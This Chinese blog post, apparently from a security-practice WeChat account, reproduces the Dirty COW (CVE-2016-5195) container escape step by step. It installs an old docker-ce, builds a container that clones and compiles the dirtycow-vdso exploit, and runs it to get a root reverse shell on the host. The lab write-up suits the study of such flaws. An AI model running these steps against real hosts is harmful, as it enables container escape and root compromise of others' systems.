本周继续实践容器逃逸的漏洞,这次不是docker的,是linux内核的,
CVE-2016-5195,也叫脏牛,
宿主机ubuntu14.04.5,安装docker-ce,别安装docker.io,
从download.docker.com安装,
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg,
echo
"deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu
$(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null,
sudo apt-get update,
查看docker-ce可安装的版本,apt-cache madison docker-ce,
还是安装18.06.0版本,
sudo apt-get install docker-ce=18.06.0~ce~3-0~ubuntu,
这次我没装containerd.io,好像也没啥影响,docker能正常使用,
自己构建漏洞利用容器镜像,sudo vim Dockerfile,
FROM ubuntu:14.04
RUN apt-get update
RUN apt-get install -y build-essential
RUN apt-get install -y nasm
RUN apt-get install -y git
RUN mkdir /dirtycow-vdso
RUN git clone https://github.com/scumjr/dirtycow-vdso.git /dirtycow-vdso
sudo docker build -t cve-2016-5195 .
能够看到构建好的镜像,
创建漏洞利用容器,sudo docker run -it cve-2016-5195 /bin/bash,
在容器内编译漏洞利用程序,cd dirtycow-vdso,make,
查看漏洞利用容器的地址,ifconfig,
执行程序进行漏洞利用,./0xdeadbeef 172.17.0.2:1234,
拿到宿主机的反弹shell,并且是root权限,逃逸成功。
本文始发于微信公众号(云计算和网络安全技术实践):容器逃逸漏洞 (CVE-2016-5195)的复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论